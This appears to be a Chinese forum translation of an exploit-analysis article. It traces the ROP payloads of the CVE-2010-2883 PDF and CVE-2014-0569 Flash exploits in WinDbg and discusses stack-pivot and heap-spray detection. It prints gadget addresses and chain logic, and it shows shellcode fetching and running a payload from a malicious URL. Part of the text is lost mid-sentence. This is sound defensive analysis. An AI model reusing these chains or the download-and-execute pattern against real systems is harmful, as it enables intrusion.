阅读:2675回复:0
深入探讨ROP 载荷分析
◆0 简介
Exploit-db上看到的感觉还不错,所以就翻译一下,原文题目为《Deep Dive into ROP Payload Analysis》,作者Sudeep Singh。 这篇文章的主要目的是介绍漏洞利用中的ROP载荷的分析技术,同时也深入分析一种ROP缓解技术stack pivot检测技术,该技术目前被用于防护软件中。 通过分析之前发现的两个攻击样本(CVE-2010-2883 和CVE-2014-0569),对比了两个ROP载荷的复杂性和绕过stack pivot检测技术的能力对ROP载荷的详细分析将有助于我们更好的了解漏洞利用技术,开发出更有效的检测机制。 这篇文章主要针对漏洞分析人员以及对面向返回的编程(Return Oriented Programming)感兴趣的人。 ◆1 场景 漏洞利用正变成越来越流行的领域,同时在类似浏览器、Adobe Reader、Flash Player、Microsoft Silverlight 、Java等通用软件中也经常发现漏洞。由于漏洞利用通常是攻击中的第一个阶段,因此比较适宜在漏洞利用阶段对攻击做防护。 在互联网上可以找到有很多用于检测和阻止漏洞利用的方案和技术。这些检测机制通常聚焦于大多数漏洞的共同特点。例如: [*]ROP:由于现在的操作系统都默认开启了DEP,因此漏洞利用需要绕过DEP保护。ROP是绕过DEP最常用的技术。然而,由于ROP的工作方式,因此可以有很多的特征可以检测它。我们将下文中深入分析其中的stack pivot检测技术。 [*]Heap Spray:为了获取稳定的利用,大多数漏洞利用将载荷喷射到进程的地址空间中。当漏洞被触发时,执行流被重定向到喷射在进程堆中的载荷导致漏洞被利用。然而,由于Heap Spray技术的广泛应用,也再一次提供用于检测它们的特征。 最常见的特征是用Heap Spray的模式,◆c0c0c0c是最为大家所熟知的。当然也有一些其他的模式也能够用于Heap Spray。 ◆2 利用缓解 这篇文章中,我们主要关注ROP载荷分析,因此将主要讨论stack pivot检测技术。 据对多数漏洞利用主要分为下面几个阶段: [*]攻击者将载荷(Nopsled + ROP payload + shellcode)喷射到堆上 [*]触发软件的漏洞 [*]通过漏洞,攻击者控制了一些寄存器 [*]这些寄存器被设置指向stack pivot gadget [*]stack pivot gadget将切换原始程序的堆栈为指向攻击者控制的堆中的数据,而新的堆栈中则包含我们的ROP载荷。 [*]stack pivot gadget中的返回指令将开启ROP链的执行。 作为例子,通过一个UAF(Use After Free)漏洞的结果,我们将得到如下的场景: movedx, dwordptr ds:[ecx] ; edx为包含漏洞的C++对象的虚表指针 pushecx call dwordptr ds:[edx+0x10] ; 调用攻击者控制的虚表中的虚函数 因为我们控制了上述的程序执行流,所以我们能够将控制流重定向到下面的stack pivot gadget: xchgeax, esp retn 当漏洞被触发时,如果eax正指向攻击者控制的堆中的数据,通过上面的代码片段,eax指向的堆空间将变成新的栈。 ROP是非常好的技术,被广泛的用在现在漏洞攻击中。这也导致了很多针对这种利用技术的检测机制被设计出来。 其中一种技术就是stack pivot检测技术。 当ROP链执行时,攻击者的最终目标是将shellcode重新放置在可执行的内存区域以绕过DEP保护。为了做到这一点,攻击者将调用一些类似VirtualAlloc的API函数。这些被攻击者用于绕过DEP的API是有限的。 由于原始程序的堆栈被切换为指向攻击者控制的数据,因此栈指针不再指向栈限以内。 程序栈限的信息被存储在TEB中。 1:020> !teb TEB at 7ffda000 ExceptionList: 0220f908 StackBase: 02210000 StackLimit: 02201000 如果栈指针不满足下面的条件,我们认为这是一个stack pivot: if(esp>StackLimit&&esp u Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185 Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185: 5eef8945 ffd2 call edx 5eef8947 5e pop esi 5eef8948 c20400 ret 4 </pre> 我们在0x5eef8945处设置断点。 我们运行该漏洞利用,它将中断到上述地址,如下: 1:021> g Breakpoint 0 hit eax=070ab000 ebx=0202edf0 ecx=06a92020 edx=5e8805bb esi=0697c020 edi=0697c020 eip=5eef8945 esp=0202ed38 ebp=0202ed60 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185: 5eef8945 ffd2 call edx {Flash32_15_0_0_167+0x205bb (5e8805bb)} 如果我们查看该指令之前的反汇编代码,我们将看到在漏洞利用中,完整的Sound对象的虚函数表都被改写了,如下图: 图片:2014112802035447870.png 5eef8940 8b01 mov eax,dword ptr [ecx] 5eef8942 8b5070 mov edx,dword ptr [eax+70h] 5eef8945 ffd2 call edx {Flash32_15_0_0_167+0x205bb (5e8805bb)} ecx = Sound Object eax = VTable of the Sound Object [eax+0x70] = address of toString() method 同时我们可以看到,在虚函数表中所有的虚函数都被重写为0x5e861193 (retn指令)。toString()方法的虚函数指针已经被改写为0x5e8805bb。 1:021> dd eax 081ab000 5e861193 5e861193 5e861193 5e861193 081ab010 5e861193 5e861193 5e861193 5e861193 081ab020 5e861193 5e861193 5e861193 5e861193 081ab030 5e861193 5e861193 5e861193 5e861193 081ab040 5e861193 5e861193 5e861193 5e861193 081ab050 5e861193 5e861193 5e861193 5e861193 081ab060 5e861193 5e861193 5e861193 5e861192 081ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478 我们查看一下0x5e8805bb处的反汇编代码: 1:021> u 5e8805bb Flash32_15_0_0_167+0x205bb: 5e8805bb 94 xchg eax,esp 5e8805bc c3 ret 图片:2014112802035447870.png 这就是stack pivot gadget,这意味着攻击者控制着eax的值以及它指向的数据。让我们查看一下: 1:021> dd eax 070ab000 5e861193 5e861193 5e861193 5e861193 070ab010 5e861193 5e861193 5e861193 5e861193 070ab020 5e861193 5e861193 5e861193 5e861193 070ab030 5e861193 5e861193 5e861193 5e861193 070ab040 5e861193 5e861193 5e861193 5e861193 070ab050 5e861193 5e861193 5e861193 5e861193 070ab060 5e861193 5e861193 5e861193 5e861192 070ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478 图片:2014112802035447870.png 在我们的ROP载荷中,所有的gadgets都来自于Flash32_15_0_0_167.ocx这个模块。 同时,需要注意的是stack pivot后,原始的esp的值将存储在eax中。 在ROP链中可以看到很多的gadgets指向0x5e861193,正如下面所看到的的,他们都是返回指令。 1:021> u 5e861193 Flash32_15_0_0_167+0x1193: 5e861193 c3 ret 上面一系列返回指令执行之后,我们可以看到 1:021> u eip Flash32_15_0_0_167+0x1192: 5e861192 59 pop ecx 5e861193 c3 ret 图片:2014112802035447870.png 这个ROP gadget将ecx的值设置为0x5e8805bb 1:021> dd esp 070ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478 070ab080 5e8c1478 5e861192 5e8e2e45 5e89a4ca 接下来的ROP gadget出现了四次。 1:021> u eip Flash32_15_0_0_167+0x61478: 5e8c1478 48 dec eax 5e8c1479 c3 ret 图片:2014112802035447870.png 正如我们之前提到的,在stack pivot执行前的原始esp的值已经被存储在了eax中。因此,eax减小四次,就是在原始栈上开辟出一个四字节。 1:021> u eip Flash32_15_0_0_167+0x1192: 5e861192 59 pop ecx 5e861193 c3 ret 在当前栈上包含下面的数据: 1:021> dd esp 070ab088 5e8e2e45 5e89a4ca 41414141 5e8c1478 070ab098 5e8c1478 5e8c1478 5e8c1478 5e861192 通过上面的ROP gadget,ecx的值被设置为0x5e8e2e45,然后 1:021> u eip Flash32_15_0_0_167+0x3a4ca: 5e89a4ca 8908 mov dword ptr [eax],ecx 5e89a4cc 5d pop ebp 5e89a4cd c3 ret 这将存储ecx的值在原始堆栈上(esp-4处) 图片:2014112802035447870.png 下一个ROP gadget将0x41414141弹出到ebp中,这只是为了填充用。因为我们的ROP gadget在返回之前包含了一条pop ebp指令。 上面这些ROP gadgets将被多次执行。我们可以总结如下: Gadget 1: dec eax; retn 这个ROP gadget执行四次可以再原始堆栈上开辟1个DWORD。 Gadget 2: pop ecx; retn 设置ecx寄存器的值。 Gadget 3: mov dword ptr [eax], ecx; pop ebp; retn 将ecx的值移入原始堆栈中。 也就是说,ROP载荷通过攻击者的缓冲区中的数据来精心设置原始堆栈中的数据。 继续跟踪ROP载荷,最终发现stack pivot将再次被执行。 如果现在查看原始堆栈,可以看到堆栈被精心布置,stack pivot将重定向控制流到kernel32!VirtualAllocStub()。 图片:2014112802035447870.png 在堆栈上精心布置的VirtualAlloc的参数如下: 图片:2014112802035447870.png 这意味着,ROP载荷将分配具有PAGE_EXECUTE_READWRITE (0x40) 和 MEM_COMMIT (0x1000)属性的0x1000字节的内存空间。 我们查看一下TEB中的StackBase和StackLimit的值。 如下所示,栈指针在StackBase和StackLimit的范围以内,因此stack pivot缓解措施将不能阻止该漏洞利用。 图片:2014112802035447870.png 进一步分析,在调用VirtualAllocStub()的点,堆栈布局如下: 1:020> dd esp 0220ec50 5e861193 00000000 00001000 00001000 0220ec60 00000040 5e861192 c30c4889 5e89a4ca 0220ec70 41414141 5e861192 9090a5f3 5e8e2e45 0220ec80 5e861192 c3084889 5e89a4ca 41414141 0220ec90 5e861192 90909090 5e8e2e45 5e861192 0220eca0 c3044889 5e89a4ca 41414141 5e861192 0220ecb0 9090ee87 5e8e2e45 5e861192 10788d60 0220ecc0 5e89a4ca 070514b8 5e861192 00000143 在返回地址0x5e861193处设置断点,新分配的内存地址0x1c100000存储在eax中。 接下来的ROP载荷也很有趣: 1:020> dd esp 0220ec64 5e861192 c30c4889 5e89a4ca 41414141 0220ec74 5e861192 9090a5f3 5e8e2e45 5e861192 0220ec84 c3084889 5e89a4ca 41414141 5e861192 0220ec94 90909090 5e8e2e45 5e861192 c3044889 0220eca4 5e89a4ca 41414141 5e861192 9090ee87 0220ecb4 5e8e2e45 5e861192 10788d60 5e89a4ca 0220ecc4 070514b8 5e861192 00000143 5e8e2e45 0220ecd4 5eef8947 068e2bf8 5eedecc1 06a50021 我已经将其总结如下: pop ecx/retn ; set ecx to 0xc30c4889 mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax) pop ecx/retn ; set ecx to 0x9090a5f3 push eax/retn ; redirect execution to newly allocated memory mov dword ptr [eax+0xc], ecx/ retn ; mov ecx to newly allocated memory (screenshot 9) pop ecx/retn ; set ecx to 0xc3084889 mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax) pop ecx/retn ; set ecx to 0x90909090 push eax/retn ; redirect execution to newly allocated memory mov dword ptr [eax+0x8], ecx/retn ; move ecx to newly allocated memory (pointed by eax) pop ecx/retn ; set ecx to 0xc3044889 mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax) pop ecx/retn ; set ecx to 0x9090ee87 push eax/retn ; redirect execution to newly allocated memory mov dword ptr [eax+0x4], ecx/retn; move ecx to newly allocated memory (pointed by eax) pop ecx/retn ; set ecx to 0x10788d60 mov dword ptr [eax], ecx/retn ; pop ecx/retn ; set ecx to 0x143 push eax/retn ; now we are at the shellcode 图片:2014112802035447870.png 这部分ROP载荷将从主shellcode中拷贝0x143个DWORD到新分配的内存空间中。 图片:2014112802035447870.png 现在就是第二阶段的shellcode了。 图片:2014112802035447870.png 进一步对代码进行跟踪,将看到动态查找kernelbase.dll基址以及计算VirtualProtect函数地址。 图片:2014112802035447870.png 这将修改◆1c10060处0x4b3字节大小内存区域的保护属性。然后调用GetTempPathA 构建路径C:Usersn3onAppDataLocalTempstuprt.exe。 图片:2014112802035447870.png 通过LoadLibraryA加载wininet.dll库。 图片:2014112802035447870.png 然后可以看到通过调用InternetOpenUrlA从http://kethanlingtoro.eu/xs3884y132186/lofla1.php下载载荷。 我们可以确定这和PCAP文件中是相同的URL,如下所示: 图片:2014112802035447870.png 载荷将被存储在C:Usersn3onAppDataLocalTempstuprt.exe,并被执行。 通过这种方式,我们能够通过调试器分析ROP载荷以及shellcode。 下面来看另一种分析这种载荷的方法。 我们知道一旦中断到Sound对象调用toString()方法的call指令上,它将重定向控制流到stack pivot gadget。这种情况下,攻击者可以控制eax的值以及这个位置上的数据。 我们可以从内存中转储ROP载荷和shellcode到文件中。正如下面看到的,可以使用writemem命令从内存中转储大约0x1500字节的shellcode到rop.txt文件中。 图片:2014112802035447870.png 接下来,写一个C程序,打印rop.txt中的DWORD列表。 在转储ROP载荷的同时,保存Flash32_15_0_0_167.ocx的基址也很重要(因为由于基址随机化的开启,我们需要基地址来计算ROP gadgets的相对虚拟地址)。 通过之前写的C代码,可以根据rop.txt中的ROP gadgets找到所有的字节码。 完整的绕过stack pivot检测的ROP链在附录2中。 ◆5 Heap Spray 模式 由于ROP是和Heap Spray技术一起使用的,因此讨论一下这两个漏洞利用中的heap spray模式的不同。在第一个例子中,当我们在调试器中,中断到恶意PDF的第一个ROP gadget时,我们进行一下堆分析。 CVE-2010-2883 (恶意 PDF) !heap -stat 图片:2014112802035447870.png 可以看到在00390000处分配的堆空间具有最大的提交字节。让我们进行进一步的分析: 0:000> !heap -stat -h 00390000 图片:2014112802035447870.png 正如所看到的,它包含了0x1f0个大小为0xfefc字节大小的块。这是一种非常固定的分配模式,也是一张很好地识别heap spray的标记。 进一步枚举所有大小为0xfefc字节的堆块 0:000> !heap -flt s fefec _HEAP @ 150000 _HEAP @ 250000 _HEAP @ 260000 _HEAP @ 360000 _HEAP @ 390000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state invalid allocation size, possible heap corruption 039c0018 1fdfd 0000 [0b] 039c0020 fefec - (busy VirtualAlloc) 如果转储处◆39c0020处的内存,可以看到NOP模式: 0:000> dd 039c0020 039c0020 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 039c0030 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 039c0040 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 039c0050 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 039c0060 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 039c0070 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 039c0080 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 039c0090 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 这种模式是安全软件识别heap spray的一个好的标志,例如EMET检测heap spray。 CVE-2014-0569 (恶意 SWF) 如果检查第二个例子中的堆块分配,将发现没有任何固定的模式。 当中断到stack pivot gadget时,进行堆分析: 0:000> !heap -stat _HEAP 00900000 Segments 00000001 Reserved bytes 00100000 Committed bytes 00100000 VirtAllocBlocks 00000000 VirtAlloc bytes 00000000 _HEAP 00150000 Segments 00000001 Reserved bytes 00100000 Committed bytes 00082000 VirtAllocBlocks 00000000 VirtAlloc bytes 00000000 上面的两块包含了最大数量的提交字节。 对于◆0900000处的堆 0:000> !heap -stat -h 00900000 heap @ 00900000 group-by: TOTSIZE max-display: 20 size #blocks total ( %) (percent of total busy bytes) windbg没有给出该堆的统计信息。检查另一个堆。 0:000> !heap -stat -h 00150000 heap @ 00150000 group-by: TOTSIZE max-display: 20 size #blocks total ( %) (percent of total busy bytes) 8000 1 - 8000 (7.52) 20 31d - 63a0 (5.85) 57f0 1 - 57f0 (5.17) 4ffc 1 - 4ffc (4.70) 614 c - 48f0 (4.28) 3980 1 - 3980 (3.38) 388 10 - 3880 (3.32) 2a4 13 - 322c (2.95) 800 6 - 3000 (2.82) 580 8 - 2c00 (2.58) 图片:2014112802035447870.png 这里并没有看到固定的模式,也就是说在第二个漏洞利用中,类似EMET的安全软件对于heap spray的检测方法将无法工作。 因为在第二个漏洞利用中,在内存空间中喷射了AS3 Flash Vector对象,可以查看这些对象: 03f4d000 000003fe 03162000 0beedead 0000027f ..... .......... 03f4f000 000003fe 03162000 0beedead 00000280 ..... .......... 03f51000 000003fe 03162000 0beedead 00000281 ..... .......... 03f53000 000003fe 03162000 0beedead 00000282 ..... .......... 03f55000 000003fe 03162000 0beedead 00000283 ..... .......... 03f57000 000003fe 03162000 0beedead 00000284 ..... .......... 03f59000 000003fe 03162000 0beedead 00000285 ..... .......... 03f5b000 000003fe 03162000 0beedead 00000286 ..... .......... 03f5d000 000003fe 03162000 0beedead 00000287 ..... .......... 其中0x3fe是Vector对象的长度。 大多数最近的漏洞利用的流程如下: [*]恶意SWF文件通过使用ActionScript代码喷射Flash Vector对象 [*]触发漏洞,这将允许修改内存地址空间中的值。 在CVE-2014-0322中, 可以得到一个UAF崩溃,在inc dword ptr ds:[eax+0x10]处。 如果攻击者可以将eax+0x10指向喷射的Flash Vector对象的长度域,就能增加这个长度。 [*]通过增加Vector对象的长度,就能够增加一个新的元素到Vector对象数组中。由于边界检查是在ActionScript代码中完成的,因此新的加入Vector对象中元素将改写内存中下一个Vector对象的长度。因此,这个漏洞利用将设置长度为一个大的值来获取程序地址空间任意位置访问的能力。 在所有这些漏洞利用中,控制流程都有一些共同的属性: [*]Vector对象的长度被设置为0x3fe。 [*]由于Flash AS3 Vector对象在内存中的分配方式,他们按照0x1000字节边界对齐。 [*]都通过破坏Sound对象的虚函数表,然后调用toString()方法来获取程序控制流。 基于此,检测这种Vector对象的喷射是很重要的。 ◆6 结论 可以看到由于新的漏洞利用检测技术被安全软件所使用,漏洞利用的过程也变得更加复杂。显然用于攻击的漏洞利用也注意到了这些检测技术并尝试绕过他们。通过阅读这篇文章,你将能够深入的分析漏洞利用中的ROP载荷。 ◆7 附录 这里有两个附录的文件用来参考 附录 |
|